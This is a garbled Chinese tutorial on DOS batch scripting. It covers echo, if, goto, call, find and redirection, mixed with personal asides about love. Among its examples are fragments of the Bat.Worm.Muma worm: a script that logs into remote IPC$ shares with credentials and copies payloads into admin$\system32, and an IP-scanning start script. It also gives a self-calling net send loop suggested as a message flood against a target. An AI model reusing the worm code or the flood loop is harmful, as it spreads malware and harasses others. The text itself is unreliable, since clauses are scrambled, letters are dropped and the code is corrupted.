天天看点

经典批处理教程

数据将写入规范输出。指定输出文件比将同一文件作为规范输出重定向速度快指定要存储排序后的输入的文件。如果没有指定。!

真心诚意会用很简单的文字表达清楚自己的意思, 这是一篇技术教程。只要你识字就能看懂,就能学到知识。写这篇教程的目的让每一个看过这些文字的朋友记住一句话:如果爱可以让事情变的更简单,那么就让它简单吧!看这篇教程的方法,就是慢!慢慢的如同品一个女人、一杯茗茶,会发现很多以前就在眼前的东西突然变的很遥远,而有些很遥远的东西却又突然回到眼前。至今我也没能给出一个合适的----众多高手们也都没给出----反正我不知道----看了也不一定信服----个菜鸟, 先概述一下批处理是个什么东东。批处理的定义。当然就更不用说了但我想总结出一个"比较合适的"而且我也相信自己可以把它解释的很清楚,让更多的菜鸟都知道这是个什么东东,用这个东东可以干什么事情。或许你会因为这篇文章而"无条件爱上批处理"那么我目的就达到----就是要让你爱上它就这么拽,能怎么着?真的爱有时候就这么拽,就是这么没理由,就是这么不要脸!真的

批处理的实质,依照我理解。一堆DOS命令按一定顺序排列而形成的集合。

也称为批处理脚本,英文译为BA TCH批处置文件后缀BA T就取的前三个字母。构成没有固定格式,只要遵守以下这条就ok每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,运行的平台是DOS批处置有一个很鲜明的特点:使用方便、灵活,功能强大,自动化水平高。不想让自己写的教程枯燥无味,因为牵缠到代码(批处理的内容算是代码吧?问题原本就是枯燥的很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力,感受它那古灵精怪的性格,不知不觉中爱上批处理(晕,怎么又是爱?底批处置和爱有什么关系?答案:没有!再说句"闲话"要学好批处理,DOS基础一定要牢!当然脑子灵活也是很重要的一方面。 OK,neverclaverandgettobusi闲话少说言归正传)批处理。

将下面的几行命令保管为name.bat然后执行(以后文中只给出代码, 例一、先给出一个最easi批处置脚本让大家和它混个脸熟。保管和执行方式类似)

pingsz.tencent.com>a.txt

psz1.tencent.com>>a.txt

psz2.tencent.com>>a.txt

psz3.tencent.com>>a.txt

psz4.tencent.com>>a.txt

psz5.tencent.com>>a.txt

psz6.tencent.com>>a.txt

psz7.tencent.com>>a.txt

exit

可以在当前盘建立一个名为a.txt文件, 不是都能看的懂?不是很easi但它作用却是很实用的执行这个批处理后。里面记录的信息可以协助你迅速找到速度最快的QQ服务器,从而远离"从服务器中转"那一痛苦的过程。这里>意思,把前面命令得到东西放到后面所给的地方,>>作用,和>相同,区别是把结果追加到前一行得出的结果的后面,具体的说是下一行,而前面一行命令得出的结果将保留,这样可以使这个a.txt文件越来越大(想到如何搞破坏了Bythewai这个批处置还可以和其他命令结合,搞成完全自动化判断服务器速度的东东,执行后直接显示速度最快的服务器IP不是很爽?后面还将详细介绍。

例二、再给出一个已经过时的例子(a.bat

@echooff

ifexistC:\Progra~1\Tencent\A D\*.gifdelC:\Progra~1\Tencent\A D\*.gif

a.bat

因为现在已经几乎没有人用带广告的QQKA OQQ还显示好友三围呢!所以它几乎用不上了但曾经它作用是不可小窥的删除QQ广告, 为什么说这是个过时的例子呢?很简单。让对话框干干净净。这里用的地址是QQ默认装置地址,默认批处置文件名为a.bat当然可以根据情况自行修改。这个脚本中使用了if命令,使得它可以达到适时判断和删除广告图片的效果,只需要不关闭命令执行后的DOS窗口,不按CPL+C强行终止命令,就一直监视是否有广告图片(QQ也再不断查看自己的广告是否被删除)当然这个脚本占用你一点点内存,呵呵。

使用批处置脚本查是否中冰河。脚本内容如下:例三。

netstat-a-n>a.txt

typa.txt|find"7626"&&echo"Congratulations!YouhaveinfectGLA CIER!"

dela.txt

paus&exit

检查所有的网络端口状态, 这里利用了netstat命令。只需要你清楚罕见木马所使用的端口,就能很easi判断进去是否被人种了冰河。然这不是确定的因为冰河默认的端口7626完全可以被人修改。这里介绍的只是方法和思路。这里介绍的方法和思路稍做改动,就变成可以检查其他木马的脚本了再改动一下,加进去参数和端口及信息列表文件后,就变成自动检测所有木马的脚本了呵呵,不是很过瘾?脚本中还利用了组合命令&&和管道命令|后面将详细介绍。

借批处置自动清除系统垃圾,例四。脚本如下:

ifexistc:\windows\temp\*.*delc:\windows\temp\*.*

ifexistc:\windows\Tempor~1\*.*delc:\windows\Tempor~1\*.*

ifexistc:\windows\History\*.*delc:\windows\History\*.*

ifexistc:\windows\recent\*.*delc:\windows\recent\*.*

每次开机时就把系统垃圾给自动删除了这里需要注意两点:一、DOS不支持长文件名, 将以上脚本内容保管到autoexec.bat里。所以就出现了Tempor~1这个东东;二、可根据自己的实际情况进行改动,使其符合自己的要求。怎么样,看到这里,对批处理脚本是不是已经有点兴趣了不是发现自己已经慢慢爱上了这个东东?别高兴的太早,爱不是一件简单的事,也许能带给你快乐和幸福,当然也能让你痛苦的想去跳楼。如果你知道很难还敢继续的话,I服了YOU继续努力吧,也许到最后你不一定得到真爱(真的有这可能,爱过的人都知道)但你可以体会到整个爱的过程,就是如此。酸、苦和辣,有没有甜天知道。为什么会把批处置和爱情扯上关系?不是无聊,也不是因为这样写有趣多少,原因有二:其一,批处置和爱情有很多相同的地方,有些地方我用"专业"行话解释不清(不怀疑自己的表达能力,而是事情自身就不好说清楚)说了=没说,但用地球人都知道的爱情一比喻(爱情是什么?**怎么知道!没准你心里一下就亮堂了事半功倍,何乐而不为?其二,这段时间状态不是很好,感冒发烧头疼鼻塞,但主要还是感情上精神摧残,搞的人烦透了借写教程之际感慨几句,大家就全当买狗皮膏药了完全可以省略不看(也许还真有点效果----不至于让你看着看着就睡着了把头磕了来找我报销医药费)说不定下次的教程中大家还会看到杨过、张无忌等金老前辈笔下的英雄们

一定对批处理有了初步的印象, 看过第一章的朋友。知道它底是用来干什么的但你知道运用批处理的精髓在哪里吗?其实很简单:思路要灵活!没有做不到只有想不到这和爱情就有点不同了因为爱情的世界是两个人的世界,一厢情愿不叫爱情(补充:那叫单恋。废话!而批处理却是一个人的天堂,可以为所欲为,没有达不到境界!

但它逻辑性之强, 批处置看起来杂乱无章。绝对不比其他顺序语言(如汇编)低,如果你写的脚本是一堆乱麻,虽然每一行命令都正确,但从头执行到尾后,不一定得到想要的结果,也许是一屏幕的Badcommandorfailname这又和爱情有了共同点:按方法来经营,缺少或增多的方法都可能导致不想看见的结果。陷入爱河的朋友,相信没有不肯定这句话的爱情批处理,输出的结果不是Badcommandorfailname屏幕是这么显示的爱情'不是内部或外部命令,也不是可运行的顺序或批处理文件。然后就是光标不停闪动,等待这下一次错误的输入。

将由浅入深的介绍批处置中常用的命令, 从这一章开始。很多罕见DOS命令在批处置脚本中有这广泛的应用,批处理脚本的BODY局部,但批处理比DOS更灵活多样,更具备自动化。要学好批处理,DOS一定要有比较扎实的基础。这里只讲述一些比较少用(相对来说)DOS命令,常用命令如COPYDIR等就不做介绍了这些看似简单的命令实际复杂的很,怕自己都说不清楚!

先看一个实例。这是一个很有意思的脚本,例五。一个小巧实用的好东东,把批处理"自动化"特点体现的淋漓尽致。先介绍一下这个脚本的来历:大家都知道汇编顺序(MA SM上机过程,先要对源代码进行汇编、连接,然后再执行,而这中间有很多环节需要输入很多东西,麻烦的很(只有经历过的朋友才懂得)如何使这个过程变的简单呢?搞汇编课程设计时,"被逼"写了这个脚本,用起来很爽,呵呵。看看脚本

内容:

::closecho

cls

::cleanscreen

echoThiprogrammistomaketheMA SMprogrammautomate

::displaiinfo

echoEditbyCODERED

echoMailtome:qqkiller***@sina.com

if"%1"==""gotousage

::ifinputwithoutparamatgotousage

if"%1"=="/?"gotousage

::ifparamatis"/?"gotousage

if"%1"=="help"gotousage

::ifparamatis"help"gotousage

pause

::paustoseeusage

masm%1.asm

::assemblthe.asmcode

iferrorlevel1paus&edit%1.asm

::iferrorpaustoseeerrormsgandeditthecode

link%1.obj&%1

::elslinkthe.objfileandexecutthe.exfile

:usage

::setusage

echoUsage:ThiBA Tfilename[asmfilename]

echoDefaultBA TfilenameisSTA RT.BA T

::displaiusage

两个冒号后面的内容为前一行内容解释的E文(害怕E文的朋友也不用担心, 先不要被这一堆的东西给吓怕了静下心来仔细的看(回想一下第一章中第一段是怎么写的已经给出了每一行命令的解释。都很easi一看就懂了实在不懂了不会查词典啊,这么懒?脚本执行时不显示,也不起任何作用。倒数第5行行首有一个冒号,可不是笔误哦!具体作用后面会详细讲到此脚本中masm和link汇编顺序和连接程序,必需和edit顺序以及你要编辑的源代码(当然还有这个脚本,废话!一起在当前目录中。使用这个批处理脚本,可以最大可能的减少手工输入,整个过程中只需要按几下回车键,即可实现从汇编源代码到可执行ex文件的自动化转换,并具备智能判断功能:如果汇编时源代码出现错误(汇编不成功)则自动暂停显示错误信息,并在按任意键后自动进入编辑源代码界面;如果源代码汇编胜利,则进行连接,并在连接后自动执行生成的ex文件。另外,由于批处理命令的简单性和灵活性,这个脚本还具备良好的可改进性,简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友,一定别忘了实习一下!

这个脚本中出现了如下几个命令:@echo::paus:和goto%以及if而这一章就将讲述这几个命令。

1@

email必备符号, 这个符号大家都不陌生。怎么会跑到批处理中呢?呵呵,不是错,批处置原本就离不开它要不就不完美了作用是让执行窗口中不显示它后面这一行的命令自身(多么绕口的一句话!呵呵,通俗一点说,行首有了话,这一行的命令就不显示了例五中,首行的@echooff中,@作用就是让脚本在执行时不显示后面的echooff局部。这下懂了吧?还是不太懂?没关系,看完echo命令简介,自然就懂了

2echo

就是说它只有两种状态:打开和关闭。于是就有了echoon和echooff两个命令了 中文为"反馈""回显"意思。其实是一个开关命令。

后面的所有命令都不显示命令自身, 直接执行echo命令将显示当前echo命令状态(off或on执行echooff将关闭回显。只显示执行后的结果,除非执行echoon命令。例五中,首行的@命令和echooff命令联合起来,达到两个目的不显示echooff命令自身,不显示以后各行中的命令自身。确是有点乱,但你要是练习一下的话,3分钟包会,不会的退钱!

echo命令的另一种用法

DefaultBA TfilenameisSTA RT.BA T将在脚本执行后的窗口中显一:可以用它来显示信息!如例五中倒数第二行。

而echo命令自身不显示(为什么?示。

二:可以直接编辑文本文件。例六:

echonbtstat-A 192.168.0.1>a.bat

echonbtstat-A 192.168.0.2>>a.bat

echonbtstat-A 192.168.0.3>>a.bat

每行一回车。最后就会在当前目录下生成一个a.bat文件,以上脚本内容的编辑方法是直接是命令行输入。直接执行就会得到结果。

3::

注释命令, 这个命令的作用很简单。批处置脚本中和rem命令等效。后面的内容在执行时不显示,也不起任何作用,因为它只是注释,只是增加了脚本的可读性,和C语言中的类似。地球人都能看懂,就不多说了

4pause

单纯、实用。作用, 中文为"暂停"意思(看看你workman上)一直认为它批处置中最简单的一个命令。让当前顺序进程暂停一下,并显示一行信息:请按任意键继续...例五中这个命令运用了两次,第一次的作用是让使用者看清楚顺序信息,第二个是显示错误的汇编代码信息(其实不是想显示,而是masm顺序在显示错误信息时被暂它停了以便让你看清楚你源代码错在哪里)

5:和goto

:一个标签。当程序运行到goto时, 为什么要把这两个命令联合起来介绍?因为它分不开的无论少了哪个或多了哪个都会出错。goto个跳转命令。将自动跳转到:定义的局部去执行了不是分不开?例五中倒数第5行行首出现一个:则程序在运行到goto时就自动跳转到:标签定义的局部执行,结果是显示脚本usagusag就是标签名称)不难看出,goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方,一一对应的关系。goto命令也经常和if命令结合使用。至于这两个命令具体用法,参照例五。

而这一标签的内容却定义为退出。如:goto命令的另一种用法一:提前结束顺序。顺序中间使用goto命令跳转到某一标签。

......

gotoend

:end

后面讲了if命令和组合命令你就知道了这里:end脚本最后一行!其实这个例子很弱智。

6%

以后还将详细介绍)但千万别以为它只是参数就小看了看看例五中有多少地方用到少了批处理的功能就减少了51%看看例七: 这个百分号严格来说是算不上命令的只是批处理中的参数而已(多个%一起使用的情况除外。

netus\\%1\ipc$%3/u:"%2"

copi11.BA T\\%1\admin$\system32/y

copi13.BA T\\%1\admin$\system32/y

copiipc2.BA T\\%1\admin$\system32/y

copiNWZI.EXE\\%1\admin$\system32/y

attrib\\%1\admin$\system32.bat-r-h-s

%1代表的IP2%代表的usernam3%代表password执行形式为:脚本文件名参数一 参数二 ......假设这个脚本被保存为a.bat则执行形式如下:aIPusernampassword这里IPusernampassword三个参数, 以上代码是Bat.Worm.Muma病毒中的一部分。缺一不可(因为顺序不能正确运行,并不是因为少了参数语法就不对)这样在脚本执行过程中,脚本就自动用用你三个参数依次(记住,依次!也是一一对应的关系。代换1%2%和3%这样就达到灵活运用的目的试想,如果在脚本中直接把IPusernam和password都定义死,那么脚本的作用也就被固定了但如果使用%话,不同的参数可以达到不同的目的不是更灵活?

后续章节中还将介绍。一定要非常熟练才行, 关于这个参数的使用。这需要很多练习过程,需要下点狠工夫!

不是忘了而是不容易说清楚, 这一章就写到这里了可能有朋友问了怎么没介绍if命令?呵呵。下一章再讲了这一章讲的这点东西,如果你初学者,恐怕也够消化的记住一句话:DOS批处理的BODY任何一个DOS命令都可以被用在批处置脚本中去完成特定的功能。这里,否已经想到用自己肚子里的东西去写点带有自动化色彩的东东呢?很简单,就是一个DOS命令的集合而已,相信自称为天才的已经会把计算机等级考试上机试题中的DOS局部用批处置来自动化完成了

什么事都想唠叨几句, 烦!就好象一个半老女人到更年期。什么事都感到不舒服,看谁谁不爽。明知山有虎,偏向虎山行,最后留下一身伤痕无功而返时,才发现自己竟然如此脆弱,如此渺小,如此不堪一击。徘徊在解体的边缘,突然回想起了自己最后一次扁人的那一刻,还真有点怀念(其实我很不喜欢扁人,更不喜欢被人扁)需要发泄,用手指拼命的敲打着键盘,一阵接一阵有节奏的声音中,屏幕上出现了上面的这些文字。可难道这就是发泄的另一种方式吗?中国人还是厉害,早在几千年前孔老夫子就说过"唯女子与小人,难养也"真**有先见之明,佩服!

不过大家请放心, 虽然是发泄。以我脾气,既然决定写这篇教程,就一定会尽力去写好,写完美,绝对不给自己留下遗憾,要不这教程就不是写的

没有保管, 曾经有一篇经典的批处置教程呈现在屏幕上。直到找不到链接你才后悔莫及,人世间最大的痛苦莫过于此。如果上天能给你一个再看一次的机会,会对那篇教程说三个字:爱你如果非要给这份爱加上一个期限,希望是100年。因为100年后,恐怕早已经挂了而现在屏幕上出现了这篇你正在看的批处理教程,虽然不如你曾经看的那篇经典,但如果勉强还过的去。会爱它吗?时间会有50年那么长吗?答案是试试看吧。

将在这一章详细介绍, 批处置脚本中最重要的几个命令。但是很遗憾,有些细节到现在都没掌握的很好,甚至还有些生分。如同还不太懂得爱一样。但我一直都在努力,即使一直都没有收获。所以可能讲的会比较笼统,但我会告诉你方法,剩下的就是时间问题了需要自己去磨练。让我共同努力吧。冰冻三尺非一日之寒,滴水穿石非一日之功。有些事情,比如学批处理,比如爱一个人,都是不能速成的甚至还会有付出艰辛而收获为甚微的情况。再次重申,看这篇教程的时候,一定要静下心来,除非你已经掌握了这篇教程的所有东西----但那也就不必看了浪费时间!

7if

接着讲if命令。总的来说, 接上一章。if命令是一个表示判断的命令,根据得出的每一个结果,都可以对应一个相应的操作。关于它三种用法,这里分开讲。

1输入判断。还是用例五里面的那几句吧:

如果参数为空(无参数)则跳转到usag如果参数为/?或help时(大家一般看一个命令的协助, 这里判断输入的参数情况。不是输入的/?或help呢,这里这么做只是为了让这个脚本看起来更像一个真正的顺序)也跳转到usag这里还可以用否定形式来表示"不等于"例如:ifnot"%1"==""gotousag则表示如果输入参数不为空就跳转到usag实际中这样做就没意义了这里介绍用法,管不了那么多了呵呵。不是很简单?其实翻译成中文体会一下就understand

2存在判断。再看例二里这句:

就删除这些文件。当然还有例四, 如果存在那些gif文件。都是一样的道理。注意,这里的条件判断是判断存在当然也可以判断不存在例如下面这句"如果不存在那些gif文件则退出脚本"ifnotexistC:\Progra~1\Tencent\A D\*.gifexit只是多一个not来表示否定而已。

竟然用处这么大,3结果判断。还是拿例五开刀(没想到自己写的脚本。呵呵)

link%1.obj

如果失败则暂停显示错误信息, 先对源代码进行汇编。并在按任意键后自动进入编辑界面;否则用link顺序连接生成的obj文件。这里只介绍一下和if命令有关的地方,&命令后面会讲到这种用法是先判断前一个命令执行后的返回码(也叫错误码,DOS顺序在运行完后都有返回码)如果和定义的错误码符合(这里定义的错误码为1则执行相应的操作(这里相应的操作为paus&edit%1.asm局部)

和其他两种用法一样,另外。这种用法也可以表示否定。用否定的形式仍表达上面三句的意思,代码变为:

ifnoterrorlevel1link%1.obj

paus&edit%1.asm

"ifnoterrorlevel1"和"iferrorlevel0"效果是等效的都表示上一句masm命令执行胜利(因为它错误判断, 看到实质了吧?其实只是把结果判断后所执行的命令互换了一下。而且返回码为00就表示否定,就是说这个错误不存在就是说masm执行胜利)这里是否加not错误码到底用0还是1值得考虑的两个问题,一旦搭配不成功脚本就肯定出错,所以一定要体会的很深刻才行。如何体会的深刻?练习!自己写一个脚本,然后把有not和没有not情况,返回码为0或1情况分别写进去执行(怎么,嫌麻烦啊?排列组合算一下才四中情况你就嫌麻烦了

后面介绍管道命令和组合命令时还有更麻烦的呢!怕了呵呵。这样从执行的结果中就能很清楚的看出这两种情况的区别。

但也恰恰是最有用的用法,这种用errorlevel结果判断的用法是if命令最难的用法。如果你不会用errorlevel来判断返回码,则要达到相同的效果,必需用els来表示"否则"操作,比较麻烦的以上代码必需变成:

ifexist%1.objlink%1.obj

elspaus&edit%1.asm

理解很简单, 关于if命令的这三种用法就sai这里。但应用时就不一定用的那么得心应手,主要是熟练水平的问题。可能有的朋友有点惊讶,怎么没给出类似下面三行的用法介绍,因为下面三行是if命令协助里对它自身用法的解释,任何人只要一个"if/?"就能看到没有必要在这里多费口舌;更重要的原因,觉得这样介绍的不清楚,看的人不一定看的懂,所以我采用上面自己对if命令的理解来介绍。一定要注意的这三种用法的格式各不相同,而且也是不能改变的但实际上可以互换(以为从本质上讲,这三种用法都是建立在判断的基础上的哲学教我学会透过现象看事物本质!有兴趣的朋友可以自己研究一下。

IF[NOT]ERRORLEVELnumberdocommand

IF[NOT]string1==string2docommand

IF[NOT]EXISTfilenamdocommand

8call

肯定都知道call指令表示什么意思了这里它意思其实也是一样的批处置脚本中, 学过汇编或C朋友。call命令用来从一个批处置脚本中调用另一个批处理脚本。看例八(默认的三个脚本文件名分别为start.bat10.bat和ipc.bat

start.bat

CA LL10.BA T0

10.bat

ECHO%IPA %.%1>HFIND.TMP

CA LLipc.batIPCFind.txt

ipc.bat

2,for/f"tokens=1.3delims="%%iin%1docallHA CK.bat%%i%%j%%k

怎么看的进去!从上面两个脚本, 有没有看出什么不对的地方?没看出来啊?没看出来就对了其实就没有不对的地方嘛。可以得到如下信息:

循环运用、重复运用。1脚本调用可以灵活运用。

2脚本调用可以使用参数!

这里说一下第二点。 关于第一点就不多说了聪明的一看就应该会。

10.bat后面跟了参数0执行时的效果, start.bat中。其实就是把10.bat里的参数%1用0代替。start.bat中,ipc.bat后面跟了参数ipcfind.txt一个文件,也可以做参数)执行时的效果,就是用ipc.bat中的每一行的三个变量(这里不懂没关系,学过for命令后就懂了对应代换ipc.bat中的%%i%%j和%%k这里参数调用是非常灵活的使用时需要好好体会。初学期间,可以先学习只调用脚本,至于连脚本的参数一起使用的情况,后面的学习中自然就会有比较深刻的理解,这是因为当你已经可以灵活运用批处置脚本后,如何使代码写的更精简更完美更高效就自然包括到考虑的范围,这时候你就会发现在调用脚本时直接加入参数,可以使代码效率加倍。Bythewai上面的这几个脚本,都是Bat.Worm.Muma病毒的一部分,后面的教程里,大家将有机会见到这个病毒的真面目。

同一个目录下至少存在两个批处置脚本文件(只有一个你调用谁?呵呵,那是不是说。注意了这句话错了只有一个照样可以调用----调用自身!看例九(默认脚本文件名a.bat

netsend%1Thiisacallexample.

cala.bat

效果自然不怎么样, 这两句一结合。因为只有一台机器来发消息,谁怕谁啊?给你来个礼尚往来!可如果有100台机器同时执行,而且每台机器开10和窗口同时向一个目标机器发消息的话,呵呵。这里calla.bat作用就是调用自身,执行完前一句netsend命令后再调用自身,达到循环执行的目的

有兴趣的朋友可以实验一下。例十(默认脚本文件名为a.bat 给出一个很有意思的脚本。

calla.bat

否则只会看到一个窗口一闪而过, 一定要在DOS窗口下执行。看不到最后结果。等执行完后,当脚本被执行了1260次,别忘了想一下到底是为什么!爱情有时候跟这个脚本一样,一旦陷入死循环,最后的结果都是意想不到只是爱情,绝对不会等到被毫无理由的循环这么多次,也许在第三次时就出现了loveisabort提示。

9find

用来在文件中搜索特定字符串, 这是一个搜索命令。通常也作为条件判断的铺垫顺序(怎么突然想起了这四个字?这个命令单独使用的情况在批处理中是比较少见的因为没什么实际意义。还是借例三来说明:

并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容, 先用netstat命令检查是否有冰河默认的端口7626活动。再在列出的内容中搜索字符串"7626"发现有的话则提示中了冰河,否则退出。看,find命令其实就这么简单,但有一点必需要注意到如果不使用type命令列出a.txt中的内容,而是直接使用find命令在a.txt中找"7626"finda.txt"7626"&&echo"Congratulations!YouhaveinfectGLA CIER!"就必需得给出这个a.txt绝对路径(试过了find并没有默认路径就是当前路径的功能,必需手动指定。也许是错了欢迎指正)因为在find命令的协助里有这么一句话:如果没有指定路径,find将搜索键入的或者由另一个命令产生的文字。这里的"另一个命令"自然就指的type命令了

有兴趣的朋友自己去研究吧, 至于find命令的其他几个参数如vni等。这已经属于DOS学习的内容了这里就不做介绍。关于find命令和其他命令的一些更精妙的用法(有些简直令人叫绝)后续的教程中将介绍,希望关注。

10forsetshift

恐怕谁也想不到很简单的一句话:其实我也不太懂!对于这两个命令, 为什么把这三个命令放到一起来讲?原因除了说明外。从研究Bat.Worm.Muma病毒开始学习的时间过去了不少,但还是没完全搞明白,怕讲进去连自己都看不懂,更怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你如何让这两个命令给自己留一个初步的印象,其实也就是这两个命令的入门,而并不是说如何领会这两个命令。因为要领会如此精妙的两个命令(特别是for谈何容易!也许你会表扬我说我老实、不懂就不懂;也许你会骂我让我既然不懂就赶紧滚蛋,不要在这里丢人显眼;也许你还会说一些别的这样那样好听或不好听的话,都随便你即使我不同意你说的话,也会誓死捍卫你说话的权利。看例十一:

for/?>for.txt

set/?>set.txt

shift/?>shift.txt

里面分别记录了for命令、set命令和shift命令的协助信息。地球人都能看懂, 执行后在当前路径下就生成for.txtset.txt和shift.txt三个文件。就不多说了网上曾经找了很长时间这三个命令的教程,但都不理想,基本都是照搬的协助信息。想在自己完全掌握了这两个命令后,一定要写一篇用自己的文字总结进去的forset和shift教程(关于shift命令,后面介绍批处理的参数时还将涉及到一定会的这是心愿之一!需要注意的一点是这三个命令的协助里,介绍的都比较死板,虽然也举了一些例子,但这是远远不够的要掌握这两个命令,最需要的就是耐心!没写错,就是耐心。光是认真看完它协助文字就已经需要足够的耐心了要进一步练习领会这两个命令,难道不需要更大的耐心?实战练习的机会我会留给你关键还是那句话,看你有没有耐心去研究了看看例十二:

STA RT.BA T

CA LLMUMA .BA T

SETIPA =192.168

:NEA RA GA IN

netstat-n|find":">A .TMP

8,FOR/F"tokens=7.9,10,12delims=.:"%%IINA.TMPDOSETNUM1=%%I&&SETNUM2=%%J&&SETNUM3=%%

K&&SETNUM4=%%L&&SETNUM5=%%M&&CA LLNEA R.BA T

:STA RT

CA LLRA NDOM.BA T

IF"%NUM1%"=="255"GOTONEA RA GA IN

IF"%NUM1%"=="192"GOTONEA RA GA IN

IF"%NUM1%"=="127"GOTONEA RA GA IN

IF"%NUM2%"=="255"GOTONEA RA GA IN

IF"%NUM3%"=="255"GOTONEA RA GA IN

IF"%NUM4%"=="255"GOTONEA RA GA IN

SETIPA =%NUM1%.%NUM2%

ECHOSTA RT>A.LOG

PING%IPA %.%NUM3%.1>B.TMP

PING%IPA %.%NUM3%.%NUM4%>>B.TMP

FIND/C/I"from"B.TMP

IFERRORLEVEL1GOTOSTA RT

CA LL10.BA T%NUM3%

DELA.LOG

GOTOSTA RT

设置了病毒运行的环境变量。不是看的头都大了又忘了写在第一章第一段的那句话(静下心来!应该能体会到学习这两个命令所需要的耐心了吧。就如同去爱一个人, 这是Bat.Worm.Muma病毒的起始脚本。得学会宽容,打不得骂不得,用你宽大的胸怀去包容她一切,即使你发现爱她过程如看上面代码的过程一样让你头大,但你还是得爱下去----爱需要理由吗?不需要吗?需要吗?不需要吗......等到风平浪静后,最直观的收获就是耐心变的前所未有的充分,面对她复杂和善变,自己会处变不惊,以自己的方式去冷静应付曾经应付不了局面,即使到最后一身伤痕,也会感慨曾经的举动有多么伟大。

这就是批处理的魅力, 没错。这就是爱的魅力。让你受了伤还感谢伤你人。

各种DOS命令是批处理的BODY实在找不出一个更合适的词来形容他之间的关系)学好DOS命令是学好批处理的前提。其他DOS命令如copidirdeltypepathbreakstart等内部命令, 不得不再次重申一遍。以及pingnetcmdatsortattribfcfind等外部命令,批处理里的应用非常广泛。这篇教程的作用,教你认识批处理,以及如何利用DOS命令组合进去一个完美的批处理脚本,去让它自动完成你想要它做的事情。而灵活自如的编辑一个批处理脚本是建立在熟练掌握DOS命令的基础上的这已经超出了本文的范畴,此就不赘述了

可这并不妨碍我喜欢音乐, 不知不觉中第三章已经结束了耳麦里传来的依然是陈晓东的比我幸福》每隔4分32秒就自动重播。虽然我不并不很喜欢陈晓东。喜欢这首描写的如此让人感慨的歌。请你一定要比我幸福/才不枉费我狼狈退出/再痛也不说苦/爱不用负疚来弥补/至少我能成全你追逐/请记得你要比我幸福/才值得我对自己残酷/默默的倒数/最后再把你看清楚/看你眼里的好馍糊/慢慢被放逐。如同一个因年老失色而拉不到客的老×××,绝望的徘徊在曾经辉煌的×××,用一脸的木然瞟一眼来来去去的人群,默默的回忆自己并不光彩的过去,幻想自己将要面对的未来。直到看见那些幸福依偎在一起的情侣们才突然间发现上帝的公平,和这种公平的残暴。

批处置脚本中最重要的几个命令我都没有给出如echo或if那样比较详细的介绍, 可以说。原因我已经说了因为我也是个菜,也不太懂----但我正在学!呢?今天又去了一趟图书馆,淘金一样发现了一本叫《DOS批文件》东东,藏在一个角落里落满了灰,五本摞一起就跟砖头一样厚了大概翻了一下,里面介绍了很多比较底层和基础的东西,虽然从思路上讲,已经有点timeout很多东西已经基本没有利用的价值(这就是信息时代的更新速度)但还是很值得看的于是打算下午淘过来,放假回去了再好好研究一番,连同那几个不熟悉的命令一起搞熟了再续写这篇教程。始终坚信,没有最好只有更好。

等到下午再去的时候, 但是很可惜。图书馆楼梯口已经立了一个牌子,上面写着outofservice----人家这学期的工作结束了于是回到宿舍打算继续写第四章,正在这时又得到一个"振奋人心"消息:期末考试有一科挂了而且是全班第一----这一门整个班里就挂了一个。郁闷的情绪刹那间涌上心头,整个世界仿佛都变成黑的食堂和小卖部已经陆续关门,学校里的人越来越少,迎面过来的几个同学也都一身行李,忙碌着准备回家过年,内心的孤寂和失落如同夏日里暴雨前的乌云,迅速而不可抗拒的占领了心里每一个角落。迎着一月的冷风我一个人在天桥上发呆,还能怎么样,连期末考试都应付不了失败男人。

呵呵, "课间休息"时间好象长了点。上课了从这一章开始,将详细介绍批处置中常用的几个组合命令和管道命令。这些命令虽然不是必需的如同爱一个人时不一定非得每天去陪,但如果少了这个过程,事情就会变的复杂而不完美,所以我认为管道命令和组合命令是批处理的调味剂,几乎是少不了

下面从管道命令讲起。常用的管道命令有以下这些:|>>>

11|

经常操作DOS朋友都应该知道, 这个命令恐怕大家不是很陌生。当我检查一个命令的协助时,如果协助信息比较长,一屏幕显示不完时DOS并不给我时间让我看完一屏幕再翻到另一屏幕,而是直接显示到协助信息的最后。如在提示符下输入help回车时,就会看到当前DOS版本所支持的所有非隐含命令,但你只能看到最后的那些命令,前面的早就一闪而过了如何解决这个问题?看例十三:

help|more

等候继续显示其他信息。当按写回车时, 回车后会发现显示满一屏幕后就自动暂停。变成一个一个的呈现;按下空格键时一屏幕一屏幕显示,直到

全部显示完为止;按其他键自动停止返回DOS

这里结合了管道命令|和DOS命令more来共同达到目的这里先简单介绍一下help命令和more命令, 为什么会出现上述现象?答案很简单。对理解|命令的用法有很大帮助。

直接在DOS提示符下输入help命令,11.1help命令。其实这个命令是不需要多说的但在上述例子中help命令的用法比较特殊。结果是让DOS显示其所支持的所有非隐含命令,而在其他地方用help命令,如输入nethelp回车,则是显示net命令的协助信息。

这个命令在Linux下的用处非常广泛,11.2more命令。可能很多朋友以前就没有接触过这个命令。也是管道命令之一。大家可以找一篇比较长的文章(a.txtDOS提示符下输入如下两个命令去比较一下差别:morea.txt和typea.txt利用more命令,可以达到逐屏或逐行显示输出的效果,而type命令只能一次把输出显示完,最后的结果就是只能看到末尾的局部。例十三里,more命令的作用就是让输出的信息逐屏或逐行显示。

否已经能隐约感受到|命令的作用了没错, 看到这里。作用,就是把前一命令的输出当后一命令的输入来用的例十三里,前一命令的输出,就是help命令执行后显示的DOS所支持的所有非隐含命令,而这个结果刚好做了后一命令more输入。所以例十三和下面的例十四是等效的

help>a.txt

mora.txt

用more命令检查a.txt文件后再删除a.txt文件(例十三的所有操作是内存中进行的不生成文件)可以看出, 这里利用另一管道命令>生成了一个a.txt文件作为中间环节。正确使用管道命令|可以带来事半功倍的效果。

以及前面的例九再体会一遍:|命令的作用, 结合例十三和例十四。就是让前一命令的输出当做后一命令的输入。

12>>>

说的通俗一点, 这两个命令的效果从实质上来说都是一样的都是输出重定向命令。就是把前面命令的输出写入到一个文件中。这两个命令的唯一区别是>会清除掉原有文件中的内容后把新的内容写入原文件,而>>只会另起一行追加新的内容到原文件中,而不会改动其中的原有内容。例十五:

echo@echooff>a.bat

echoechoThiisapipelincommandexample.>>a.bat

echoechoItisverieasy?>>a.bat

echoechoBelievyourself!>>a.bat

echopaus>>a.bat

echoexit>>a.bat

一行一个回车, 依次在DOS提示符下输入以上各行命令。将在当前目录下生成一个a.bat文件,里面的内容如下:

